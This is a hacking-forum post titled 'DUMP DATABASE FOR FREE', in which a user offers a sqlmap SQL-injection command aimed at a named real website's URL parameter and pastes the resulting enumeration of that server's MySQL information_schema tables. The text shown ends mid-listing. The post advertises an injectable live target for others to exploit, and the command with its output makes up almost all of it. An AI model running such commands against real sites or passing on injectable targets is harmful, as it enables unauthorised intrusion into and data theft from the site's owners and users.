Niflheim World

Welcome to Niflheim !

  • First 5 messages from new users (pre-moderated user) will be checked for flood/spam before being posted on the forum. Users will also be checked for a multi-account.
    If you want to communicate without delay, get a free Huscarl status (how to get - User Groups), or buy premium status (how to buy - Premium status)

DUMP DATABASE FOR FREE (follow me for more )


savastano

New user
Landboar
Joined
May 8, 2024
Messages
16
Reaction score
0
NL COIN
61
POC : sqlmap -u "https://euromath.org/index.php?id=267"





Database: information_schema
Table: INNODB_TEMP_TABLE_INFO
[6 columns]
+----------------------+---------------------+
| Column | Type |
+----------------------+---------------------+
| NAME | varchar(202) |
| SPACE | int(11) unsigned |
| IS_COMPRESSED | varchar(64) |
| N_COLS | int(11) unsigned |
| PER_TABLE_TABLESPACE | varchar(64) |
| TABLE_ID | bigint(21) unsigned |
+----------------------+---------------------+

Database: information_schema
Table: INNODB_CMPMEM
[6 columns]
+----------------------+------------+
| Column | Type |
+----------------------+------------+
| buffer_pool_instance | int(11) |
| page_size | int(5) |
| pages_free | int(11) |
| pages_used | int(11) |
| relocation_ops | bigint(21) |
| relocation_time | int(11) |
+----------------------+------------+

Database: information_schema
Table: COLLATION_CHARACTER_SET_APPLICABILITY
[2 columns]
+--------------------+-------------+
| Column | Type |
+--------------------+-------------+
| CHARACTER_SET_NAME | varchar(32) |
| COLLATION_NAME | varchar(32) |
+--------------------+-------------+

Database: information_schema
Table: INNODB_CMP_PER_INDEX
[8 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| table_name | varchar(192) |
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| database_name | varchar(192) |
| index_name | varchar(192) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+--------------+

Database: information_schema
Table: PARTITIONS
[25 columns]
+-------------------------------+---------------------+
| Column | Type |
+-------------------------------+---------------------+
| AVG_ROW_LENGTH | bigint(21) unsigned |
| CHECKSUM | bigint(21) unsigned |
| NODEGROUP | varchar(12) |
| TABLE_NAME | varchar(64) |
| CHECK_TIME | datetime |
| CREATE_TIME | datetime |
| DATA_FREE | bigint(21) unsigned |
| DATA_LENGTH | bigint(21) unsigned |
| INDEX_LENGTH | bigint(21) unsigned |
| MAX_DATA_LENGTH | bigint(21) unsigned |
| PARTITION_COMMENT | varchar(80) |
| PARTITION_DESCRIPTION | longtext |
| PARTITION_EXPRESSION | longtext |
| PARTITION_METHOD | varchar(18) |
| PARTITION_NAME | varchar(64) |
| PARTITION_ORDINAL_POSITION | bigint(21) unsigned |
| SUBPARTITION_EXPRESSION | longtext |
| SUBPARTITION_METHOD | varchar(12) |
| SUBPARTITION_NAME | varchar(64) |
| SUBPARTITION_ORDINAL_POSITION | bigint(21) unsigned |
| TABLE_CATALOG | varchar(512) |
| TABLE_ROWS | bigint(21) unsigned |
| TABLE_SCHEMA | varchar(64) |
| TABLESPACE_NAME | varchar(64) |
| UPDATE_TIME | datetime |
+-------------------------------+---------------------+

Database: information_schema
Table: INNODB_SYS_DATAFILES
[2 columns]
+--------+------------------+
| Column | Type |
+--------+------------------+
| PATH | varchar(4000) |
| SPACE | int(11) unsigned |
+--------+------------------+

Database: information_schema
Table: INNODB_CMPMEM_RESET
[6 columns]
+----------------------+------------+
| Column | Type |
+----------------------+------------+
| buffer_pool_instance | int(11) |
| page_size | int(5) |
| pages_free | int(11) |
| pages_used | int(11) |
| relocation_ops | bigint(21) |
| relocation_time | int(11) |
+----------------------+------------+

Database: information_schema
Table: INNODB_CMP_RESET
[6 columns]
+-----------------+---------+
| Column | Type |
+-----------------+---------+
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| page_size | int(5) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+---------+

Database: information_schema
Table: PARAMETERS
[16 columns]
+--------------------------+---------------------+
| Column | Type |
+--------------------------+---------------------+
| CHARACTER_MAXIMUM_LENGTH | int(21) |
| CHARACTER_OCTET_LENGTH | int(21) |
| CHARACTER_SET_NAME | varchar(64) |
| COLLATION_NAME | varchar(64) |
| DATA_TYPE | varchar(64) |
| DATETIME_PRECISION | bigint(21) unsigned |
| DTD_IDENTIFIER | longtext |
| NUMERIC_PRECISION | bigint(21) unsigned |
| NUMERIC_SCALE | int(21) |
| ORDINAL_POSITION | int(21) |
| PARAMETER_MODE | varchar(5) |
| PARAMETER_NAME | varchar(64) |
| ROUTINE_TYPE | varchar(9) |
| SPECIFIC_CATALOG | varchar(512) |
| SPECIFIC_NAME | varchar(64) |
| SPECIFIC_SCHEMA | varchar(64) |
+--------------------------+---------------------+

Database: information_schema
Table: SCHEMATA
[5 columns]
+----------------------------+--------------+
| Column | Type |
+----------------------------+--------------+
| CATALOG_NAME | varchar(512) |
| SCHEMA_NAME | varchar(64) |
| DEFAULT_CHARACTER_SET_NAME | varchar(32) |
| DEFAULT_COLLATION_NAME | varchar(32) |
| SQL_PATH | varchar(512) |
+----------------------------+--------------+

Database: information_schema
Table: INNODB_LOCKS
[10 columns]
+-------------+---------------------+
| Column | Type |
+-------------+---------------------+
| lock_data | varchar(8192) |
| lock_id | varchar(81) |
| lock_index | varchar(1024) |
| lock_mode | varchar(32) |
| lock_page | bigint(21) unsigned |
| lock_rec | bigint(21) unsigned |
| lock_space | bigint(21) unsigned |
| lock_table | varchar(1024) |
| lock_trx_id | varchar(18) |
| lock_type | varchar(32) |
+-------------+---------------------+

Database: information_schema
Table: INNODB_SYS_FOREIGN_COLS
[4 columns]
+--------------+------------------+
| Column | Type |
+--------------+------------------+
| FOR_COL_NAME | varchar(193) |
| ID | varchar(193) |
| POS | int(11) unsigned |
| REF_COL_NAME | varchar(193) |
+--------------+------------------+

Database: information_schema
Table: GLOBAL_STATUS
[2 columns]
+----------------+---------------+
| Column | Type |
+----------------+---------------+
| VARIABLE_NAME | varchar(64) |
| VARIABLE_VALUE | varchar(1024) |
+----------------+---------------+

Database: information_schema
Table: COLLATIONS
[6 columns]
+--------------------+-------------+
| Column | Type |
+--------------------+-------------+
| CHARACTER_SET_NAME | varchar(32) |
| COLLATION_NAME | varchar(32) |
| ID | bigint(11) |
| IS_COMPILED | varchar(3) |
| IS_DEFAULT | varchar(3) |
| SORTLEN | bigint(3) |
+--------------------+-------------+

Database: information_schema
Table: INNODB_CMP
[6 columns]
+-----------------+---------+
| Column | Type |
+-----------------+---------+
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| page_size | int(5) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+---------+

Database: information_schema
Table: SESSION_STATUS
[2 columns]
+----------------+---------------+
| Column | Type |
+----------------+---------------+
| VARIABLE_NAME | varchar(64) |
| VARIABLE_VALUE | varchar(1024) |
+----------------+---------------+

Database: information_schema
Table: TABLE_CONSTRAINTS
[6 columns]
+--------------------+--------------+
| Column | Type |
+--------------------+--------------+
| CONSTRAINT_CATALOG | varchar(512) |
| CONSTRAINT_NAME | varchar(64) |
| CONSTRAINT_SCHEMA | varchar(64) |
| TABLE_NAME | varchar(64) |
| CONSTRAINT_TYPE | varchar(64) |
| TABLE_SCHEMA | varchar(64) |
+--------------------+--------------+

Database: information_schema
Table: TABLES
[21 columns]
+-----------------+---------------------+
| Column | Type |
+-----------------+---------------------+
| AUTO_INCREMENT | bigint(21) unsigned |
| AVG_ROW_LENGTH | bigint(21) unsigned |
| CHECKSUM | bigint(21) unsigned |
| ENGINE | varchar(64) |
| ROW_FORMAT | varchar(10) |
| TABLE_NAME | varchar(64) |
| VERSION | bigint(21) unsigned |
| CHECK_TIME | datetime |
| CREATE_OPTIONS | varchar(255) |
| CREATE_TIME | datetime |
| DATA_FREE | bigint(21) unsigned |
| DATA_LENGTH | bigint(21) unsigned |
| INDEX_LENGTH | bigint(21) unsigned |
| MAX_DATA_LENGTH | bigint(21) unsigned |
| TABLE_CATALOG | varchar(512) |
| TABLE_COLLATION | varchar(32) |
| TABLE_COMMENT | varchar(2048) |
| TABLE_ROWS | bigint(21) unsigned |
| TABLE_SCHEMA | varchar(64) |
| TABLE_TYPE | varchar(64) |
| UPDATE_TIME | datetime |
+-----------------+---------------------+

Database: information_schema
Table: SCHEMA_PRIVILEGES
[5 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+----------------+--------------+

Database: information_schema
Table: INNODB_SYS_TABLESTATS
[9 columns]
+-------------------+---------------------+
| Column | Type |
+-------------------+---------------------+
| NAME | varchar(193) |
| AUTOINC | bigint(21) unsigned |
| CLUST_INDEX_SIZE | bigint(21) unsigned |
| MODIFIED_COUNTER | bigint(21) unsigned |
| NUM_ROWS | bigint(21) unsigned |
| OTHER_INDEX_SIZE | bigint(21) unsigned |
| REF_COUNT | int(11) |
| STATS_INITIALIZED | varchar(193) |
| TABLE_ID | bigint(21) unsigned |
+-------------------+---------------------+

Database: information_schema
Table: INNODB_SYS_TABLESPACES
[11 columns]
+----------------+---------------------+
| Column | Type |
+----------------+---------------------+
| NAME | varchar(655) |
| ROW_FORMAT | varchar(22) |
| SPACE | int(11) unsigned |
| ALLOCATED_SIZE | bigint(21) unsigned |
| FILE_FORMAT | varchar(10) |
| FILE_SIZE | bigint(21) unsigned |
| FLAG | int(11) unsigned |
| FS_BLOCK_SIZE | int(11) unsigned |
| PAGE_SIZE | int(11) unsigned |
| SPACE_TYPE | varchar(10) |
| ZIP_PAGE_SIZE | int(11) unsigned |
+----------------+---------------------+

Database: information_schema
Table: COLUMNS
[21 columns]
+--------------------------+---------------------+
| Column | Type |
+--------------------------+---------------------+
| COLUMN_NAME | varchar(64) |
| PRIVILEGES | varchar(80) |
| TABLE_NAME | varchar(64) |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned |
| CHARACTER_OCTET_LENGTH | bigint(21) unsigned |
| CHARACTER_SET_NAME | varchar(32) |
| COLLATION_NAME | varchar(32) |
| COLUMN_COMMENT | varchar(1024) |
| COLUMN_DEFAULT | longtext |
| COLUMN_KEY | varchar(3) |
| COLUMN_TYPE | longtext |
| DATA_TYPE | varchar(64) |
| DATETIME_PRECISION | bigint(21) unsigned |
| EXTRA | varchar(30) |
| GENERATION_EXPRESSION | longtext |
| IS_NULLABLE | varchar(3) |
| NUMERIC_PRECISION | bigint(21) unsigned |
| NUMERIC_SCALE | bigint(21) unsigned |
| ORDINAL_POSITION | bigint(21) unsigned |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+--------------------------+---------------------+

Database: information_schema
Table: INNODB_SYS_INDEXES
[8 columns]
+-----------------+---------------------+
| Column | Type |
+-----------------+---------------------+
| NAME | varchar(193) |
| SPACE | int(11) |
| TYPE | int(11) |
| INDEX_ID | bigint(21) unsigned |
| MERGE_THRESHOLD | int(11) |
| N_FIELDS | int(11) |
| PAGE_NO | int(11) |
| TABLE_ID | bigint(21) unsigned |
+-----------------+---------------------+

Database: information_schema
Table: INNODB_BUFFER_PAGE
[20 columns]
+---------------------+---------------------+
| Column | Type |
+---------------------+---------------------+
| SPACE | bigint(21) unsigned |
| TABLE_NAME | varchar(1024) |
| ACCESS_TIME | bigint(21) unsigned |
| BLOCK_ID | bigint(21) unsigned |
| COMPRESSED_SIZE | bigint(21) unsigned |
| DATA_SIZE | bigint(21) unsigned |
| FIX_COUNT | bigint(21) unsigned |
| FLUSH_TYPE | bigint(21) unsigned |
| FREE_PAGE_CLOCK | bigint(21) unsigned |
| INDEX_NAME | varchar(1024) |
| IO_FIX | varchar(64) |
| IS_HASHED | varchar(3) |
| IS_OLD | varchar(3) |
| NEWEST_MODIFICATION | bigint(21) unsigned |
| NUMBER_RECORDS | bigint(21) unsigned |
| OLDEST_MODIFICATION | bigint(21) unsigned |
| PAGE_NUMBER | bigint(21) unsigned |
| PAGE_STATE | varchar(64) |
| PAGE_TYPE | varchar(64) |
| POOL_ID | bigint(21) unsigned |
+---------------------+---------------------+

Database: information_schema
Table: FILES
[38 columns]
+----------------------+---------------------+
| Column | Type |
+----------------------+---------------------+
| AUTOEXTEND_SIZE | bigint(21) unsigned |
| AVG_ROW_LENGTH | bigint(21) unsigned |
| CHECKSUM | bigint(21) unsigned |
| ENGINE | varchar(64) |
| EXTENT_SIZE | bigint(4) |
| INITIAL_SIZE | bigint(21) unsigned |
| ROW_FORMAT | varchar(10) |
| STATUS | varchar(20) |
| TABLE_NAME | varchar(64) |
| VERSION | bigint(21) unsigned |
| CHECK_TIME | datetime |
| CREATE_TIME | datetime |
| CREATION_TIME | datetime |
| DATA_FREE | bigint(21) unsigned |
| DATA_LENGTH | bigint(21) unsigned |
| DELETED_ROWS | bigint(4) |
| EXTRA | varchar(255) |
| FILE_ID | bigint(4) |
| FILE_NAME | varchar(4000) |
| FILE_TYPE | varchar(20) |
| FREE_EXTENTS | bigint(4) |
| FULLTEXT_KEYS | varchar(64) |
| INDEX_LENGTH | bigint(21) unsigned |
| LAST_ACCESS_TIME | datetime |
| LAST_UPDATE_TIME | datetime |
| LOGFILE_GROUP_NAME | varchar(64) |
| LOGFILE_GROUP_NUMBER | bigint(4) |
| MAX_DATA_LENGTH | bigint(21) unsigned |
| MAXIMUM_SIZE | bigint(21) unsigned |
| RECOVER_TIME | bigint(4) |
| TABLE_CATALOG | varchar(64) |
| TABLE_ROWS | bigint(21) unsigned |
| TABLE_SCHEMA | varchar(64) |
| TABLESPACE_NAME | varchar(64) |
| TOTAL_EXTENTS | bigint(4) |
| TRANSACTION_COUNTER | bigint(4) |
| UPDATE_COUNT | bigint(4) |
| UPDATE_TIME | datetime |
+----------------------+---------------------+

Database: information_schema
Table: INNODB_SYS_COLUMNS
[6 columns]
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| NAME | varchar(193) |
| LEN | int(11) |
| MTYPE | int(11) |
| POS | bigint(21) unsigned |
| PRTYPE | int(11) |
| TABLE_ID | bigint(21) unsigned |
+----------+---------------------+

Database: information_schema
Table: INNODB_FT_INDEX_TABLE
[6 columns]
+--------------+---------------------+
| Column | Type |
+--------------+---------------------+
| POSITION | bigint(21) unsigned |
| DOC_COUNT | bigint(21) unsigned |
| DOC_ID | bigint(21) unsigned |
| FIRST_DOC_ID | bigint(21) unsigned |
| LAST_DOC_ID | bigint(21) unsigned |
| WORD | varchar(337) |
+--------------+---------------------+

Database: information_schema
Table: ROUTINES
[31 columns]
+--------------------------+---------------------+
| Column | Type |
+--------------------------+---------------------+
| DEFINER | varchar(93) |
| CHARACTER_MAXIMUM_LENGTH | int(21) |
| CHARACTER_OCTET_LENGTH | int(21) |
| CHARACTER_SET_CLIENT | varchar(32) |
| CHARACTER_SET_NAME | varchar(64) |
| COLLATION_CONNECTION | varchar(32) |
| COLLATION_NAME | varchar(64) |
| CREATED | datetime |
| DATA_TYPE | varchar(64) |
| DATABASE_COLLATION | varchar(32) |
| DATETIME_PRECISION | bigint(21) unsigned |
| DTD_IDENTIFIER | longtext |
| EXTERNAL_LANGUAGE | varchar(64) |
| EXTERNAL_NAME | varchar(64) |
| IS_DETERMINISTIC | varchar(3) |
| LAST_ALTERED | datetime |
| NUMERIC_PRECISION | bigint(21) unsigned |
| NUMERIC_SCALE | int(21) |
| PARAMETER_STYLE | varchar(8) |
| ROUTINE_BODY | varchar(8) |
| ROUTINE_CATALOG | varchar(512) |
| ROUTINE_COMMENT | longtext |
| ROUTINE_DEFINITION | longtext |
| ROUTINE_NAME | varchar(64) |
| ROUTINE_SCHEMA | varchar(64) |
| ROUTINE_TYPE | varchar(9) |
| SECURITY_TYPE | varchar(7) |
| SPECIFIC_NAME | varchar(64) |
| SQL_DATA_ACCESS | varchar(64) |
| SQL_MODE | varchar(8192) |
| SQL_PATH | varchar(64) |
+--------------------------+---------------------+

Database: information_schema
Table: INNODB_CMP_PER_INDEX_RESET
[8 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| table_name | varchar(192) |
| compress_ops | int(11) |
| compress_ops_ok | int(11) |
| compress_time | int(11) |
| database_name | varchar(192) |
| index_name | varchar(192) |
| uncompress_ops | int(11) |
| uncompress_time | int(11) |
+-----------------+--------------+

Database: information_schema
Table: VIEWS
[10 columns]
+----------------------+--------------+
| Column | Type |
+----------------------+--------------+
| DEFINER | varchar(93) |
| TABLE_NAME | varchar(64) |
| CHARACTER_SET_CLIENT | varchar(32) |
| CHECK_OPTION | varchar(8) |
| COLLATION_CONNECTION | varchar(32) |
| IS_UPDATABLE | varchar(3) |
| SECURITY_TYPE | varchar(7) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
| VIEW_DEFINITION | longtext |
+----------------------+--------------+

Database: information_schema
Table: INNODB_BUFFER_PAGE_LRU
[20 columns]
+---------------------+---------------------+
| Column | Type |
+---------------------+---------------------+
| COMPRESSED | varchar(3) |
| SPACE | bigint(21) unsigned |
| TABLE_NAME | varchar(1024) |
| ACCESS_TIME | bigint(21) unsigned |
| COMPRESSED_SIZE | bigint(21) unsigned |
| DATA_SIZE | bigint(21) unsigned |
| FIX_COUNT | bigint(21) unsigned |
| FLUSH_TYPE | bigint(21) unsigned |
| FREE_PAGE_CLOCK | bigint(21) unsigned |
| INDEX_NAME | varchar(1024) |
| IO_FIX | varchar(64) |
| IS_HASHED | varchar(3) |
| IS_OLD | varchar(3) |
| LRU_POSITION | bigint(21) unsigned |
| NEWEST_MODIFICATION | bigint(21) unsigned |
| NUMBER_RECORDS | bigint(21) unsigned |
| OLDEST_MODIFICATION | bigint(21) unsigned |
| PAGE_NUMBER | bigint(21) unsigned |
| PAGE_TYPE | varchar(64) |
| POOL_ID | bigint(21) unsigned |
+---------------------+---------------------+

Database: information_schema
Table: REFERENTIAL_CONSTRAINTS
[11 columns]
+---------------------------+--------------+
| Column | Type |
+---------------------------+--------------+
| CONSTRAINT_CATALOG | varchar(512) |
| CONSTRAINT_NAME | varchar(64) |
| CONSTRAINT_SCHEMA | varchar(64) |
| TABLE_NAME | varchar(64) |
| DELETE_RULE | varchar(64) |
| MATCH_OPTION | varchar(64) |
| REFERENCED_TABLE_NAME | varchar(64) |
| UNIQUE_CONSTRAINT_CATALOG | varchar(512) |
| UNIQUE_CONSTRAINT_NAME | varchar(64) |
| UNIQUE_CONSTRAINT_SCHEMA | varchar(64) |
| UPDATE_RULE | varchar(64) |
+---------------------------+--------------+

Database: information_schema
Table: INNODB_FT_BEING_DELETED
[1 column]
+--------+---------------------+
| Column | Type |
+--------+---------------------+
| DOC_ID | bigint(21) unsigned |
+--------+---------------------+

Database: information_schema
Table: INNODB_LOCK_WAITS
[4 columns]
+-------------------+-------------+
| Column | Type |
+-------------------+-------------+
| blocking_lock_id | varchar(81) |
| blocking_trx_id | varchar(18) |
| requested_lock_id | varchar(81) |
| requesting_trx_id | varchar(18) |
+-------------------+-------------+

Database: information_schema
Table: TRIGGERS
[22 columns]
+----------------------------+---------------+
| Column | Type |
+----------------------------+---------------+
| DEFINER | varchar(93) |
| ACTION_CONDITION | longtext |
| ACTION_ORDER | bigint(4) |
| ACTION_ORIENTATION | varchar(9) |
| ACTION_REFERENCE_NEW_ROW | varchar(3) |
| ACTION_REFERENCE_NEW_TABLE | varchar(64) |
| ACTION_REFERENCE_OLD_ROW | varchar(3) |
| ACTION_REFERENCE_OLD_TABLE | varchar(64) |
| ACTION_STATEMENT | longtext |
| ACTION_TIMING | varchar(6) |
| CHARACTER_SET_CLIENT | varchar(32) |
| COLLATION_CONNECTION | varchar(32) |
| CREATED | datetime(2) |
| DATABASE_COLLATION | varchar(32) |
| EVENT_MANIPULATION | varchar(6) |
| EVENT_OBJECT_CATALOG | varchar(512) |
| EVENT_OBJECT_SCHEMA | varchar(64) |
| EVENT_OBJECT_TABLE | varchar(64) |
| SQL_MODE | varchar(8192) |
| TRIGGER_CATALOG | varchar(512) |
| TRIGGER_NAME | varchar(64) |
| TRIGGER_SCHEMA | varchar(64) |
+----------------------------+---------------+

Database: information_schema
Table: INNODB_FT_DEFAULT_STOPWORD
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| value | varchar(18) |
+--------+-------------+

Database: information_schema
Table: INNODB_FT_INDEX_CACHE
[6 columns]
+--------------+---------------------+
| Column | Type |
+--------------+---------------------+
| POSITION | bigint(21) unsigned |
| DOC_COUNT | bigint(21) unsigned |
| DOC_ID | bigint(21) unsigned |
| FIRST_DOC_ID | bigint(21) unsigned |
| LAST_DOC_ID | bigint(21) unsigned |
| WORD | varchar(337) |
+--------------+---------------------+

Database: information_schema
Table: INNODB_TRX
[24 columns]
+----------------------------+---------------------+
| Column | Type |
+----------------------------+---------------------+
| trx_adaptive_hash_latched | int(1) |
| trx_adaptive_hash_timeout | bigint(21) unsigned |
| trx_autocommit_non_locking | int(1) |
| trx_concurrency_tickets | bigint(21) unsigned |
| trx_foreign_key_checks | int(1) |
| trx_id | varchar(18) |
| trx_is_read_only | int(1) |
| trx_isolation_level | varchar(16) |
| trx_last_foreign_key_error | varchar(256) |
| trx_lock_memory_bytes | bigint(21) unsigned |
| trx_lock_structs | bigint(21) unsigned |
| trx_mysql_thread_id | bigint(21) unsigned |
| trx_operation_state | varchar(64) |
| trx_query | varchar(1024) |
| trx_requested_lock_id | varchar(81) |
| trx_rows_locked | bigint(21) unsigned |
| trx_rows_modified | bigint(21) unsigned |
| trx_started | datetime |
| trx_state | varchar(13) |
| trx_tables_in_use | bigint(21) unsigned |
| trx_tables_locked | bigint(21) unsigned |
| trx_unique_checks | int(1) |
| trx_wait_started | datetime |
| trx_weight | bigint(21) unsigned |
+----------------------------+---------------------+

Database: information_schema
Table: INNODB_SYS_FIELDS
[3 columns]
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| NAME | varchar(193) |
| INDEX_ID | bigint(21) unsigned |
| POS | int(11) unsigned |
+----------+---------------------+

Database: information_schema
Table: INNODB_SYS_TABLES
[9 columns]
+---------------+---------------------+
| Column | Type |
+---------------+---------------------+
| NAME | varchar(655) |
| ROW_FORMAT | varchar(12) |
| SPACE | int(11) |
| FILE_FORMAT | varchar(10) |
| FLAG | int(11) |
| N_COLS | int(11) |
| SPACE_TYPE | varchar(10) |
| TABLE_ID | bigint(21) unsigned |
| ZIP_PAGE_SIZE | int(11) unsigned |
+---------------+---------------------+

Database: information_schema
Table: EVENTS
[24 columns]
+----------------------+---------------+
| Column | Type |
+----------------------+---------------+
| DEFINER | varchar(93) |
| ENDS | datetime |
| STARTS | datetime |
| STATUS | varchar(18) |
| CHARACTER_SET_CLIENT | varchar(32) |
| COLLATION_CONNECTION | varchar(32) |
| CREATED | datetime |
| DATABASE_COLLATION | varchar(32) |
| EVENT_BODY | varchar(8) |
| EVENT_CATALOG | varchar(64) |
| EVENT_COMMENT | varchar(64) |
| EVENT_DEFINITION | longtext |
| EVENT_NAME | varchar(64) |
| EVENT_SCHEMA | varchar(64) |
| EVENT_TYPE | varchar(9) |
| EXECUTE_AT | datetime |
| INTERVAL_FIELD | varchar(18) |
| INTERVAL_VALUE | varchar(256) |
| LAST_ALTERED | datetime |
| LAST_EXECUTED | datetime |
| ON_COMPLETION | varchar(12) |
| ORIGINATOR | bigint(10) |
| SQL_MODE | varchar(8192) |
| TIME_ZONE | varchar(64) |
+----------------------+---------------+

Database: information_schema
Table: TABLESPACES
[9 columns]
+--------------------+---------------------+
| Column | Type |
+--------------------+---------------------+
| AUTOEXTEND_SIZE | bigint(21) unsigned |
| ENGINE | varchar(64) |
| EXTENT_SIZE | bigint(21) unsigned |
| LOGFILE_GROUP_NAME | varchar(64) |
| MAXIMUM_SIZE | bigint(21) unsigned |
| NODEGROUP_ID | bigint(21) unsigned |
| TABLESPACE_COMMENT | varchar(2048) |
| TABLESPACE_NAME | varchar(64) |
| TABLESPACE_TYPE | varchar(64) |
+--------------------+---------------------+

Database: information_schema
Table: USER_PRIVILEGES
[4 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
+----------------+--------------+

Database: information_schema
Table: CHARACTER_SETS
[4 columns]
+----------------------+-------------+
| Column | Type |
+----------------------+-------------+
| DESCRIPTION | varchar(60) |
| CHARACTER_SET_NAME | varchar(32) |
| DEFAULT_COLLATE_NAME | varchar(32) |
| MAXLEN | bigint(3) |
+----------------------+-------------+

Database: information_schema
Table: COLUMN_PRIVILEGES
[7 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| COLUMN_NAME | varchar(64) |
| TABLE_NAME | varchar(64) |
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+----------------+--------------+

Database: information_schema
Table: INNODB_SYS_VIRTUAL
[3 columns]
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| BASE_POS | int(11) unsigned |
| POS | int(11) unsigned |
| TABLE_ID | bigint(21) unsigned |
+----------+---------------------+

Database: information_schema
Table: PLUGINS
[11 columns]
+------------------------+-------------+
| Column | Type |
+------------------------+-------------+
| LOAD_OPTION | varchar(64) |
| PLUGIN_AUTHOR | varchar(64) |
| PLUGIN_DESCRIPTION | longtext |
| PLUGIN_LIBRARY | varchar(64) |
| PLUGIN_LIBRARY_VERSION | varchar(20) |
| PLUGIN_LICENSE | varchar(80) |
| PLUGIN_NAME | varchar(64) |
| PLUGIN_STATUS | varchar(10) |
| PLUGIN_TYPE | varchar(80) |
| PLUGIN_TYPE_VERSION | varchar(20) |
| PLUGIN_VERSION | varchar(20) |
+------------------------+-------------+

Database: information_schema
Table: OPTIMIZER_TRACE
[4 columns]
+-----------------------------------+------------+
| Column | Type |
+-----------------------------------+------------+
| QUERY | longtext |
| INSUFFICIENT_PRIVILEGES | tinyint(1) |
| MISSING_BYTES_BEYOND_MAX_MEM_SIZE | int(20) |
| TRACE | longtext |
+-----------------------------------+------------+

Database: information_schema
Table: INNODB_FT_CONFIG
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| KEY | varchar(193) |
| VALUE | varchar(193) |
+--------+--------------+

Database: information_schema
Table: ENGINES
[6 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| COMMENT | varchar(80) |
| ENGINE | varchar(64) |
| XA | varchar(3) |
| SAVEPOINTS | varchar(3) |
| SUPPORT | varchar(8) |
| TRANSACTIONS | varchar(3) |
+--------------+-------------+

Database: information_schema
Table: KEY_COLUMN_USAGE
[12 columns]
+-------------------------------+--------------+
| Column | Type |
+-------------------------------+--------------+
| COLUMN_NAME | varchar(64) |
| CONSTRAINT_CATALOG | varchar(512) |
| CONSTRAINT_NAME | varchar(64) |
| CONSTRAINT_SCHEMA | varchar(64) |
| TABLE_NAME | varchar(64) |
| ORDINAL_POSITION | bigint(10) |
| POSITION_IN_UNIQUE_CONSTRAINT | bigint(10) |
| REFERENCED_COLUMN_NAME | varchar(64) |
| REFERENCED_TABLE_NAME | varchar(64) |
| REFERENCED_TABLE_SCHEMA | varchar(64) |
| TABLE_CATALOG | varchar(512) |
| TABLE_SCHEMA | varchar(64) |
+-------------------------------+--------------+

Database: information_schema
Table: INNODB_BUFFER_POOL_STATS
[32 columns]
+----------------------------------+---------------------+
| Column | Type |
+----------------------------------+---------------------+
| DATABASE_PAGES | bigint(21) unsigned |
| FREE_BUFFERS | bigint(21) unsigned |
| HIT_RATE | bigint(21) unsigned |
| LRU_IO_CURRENT | bigint(21) unsigned |
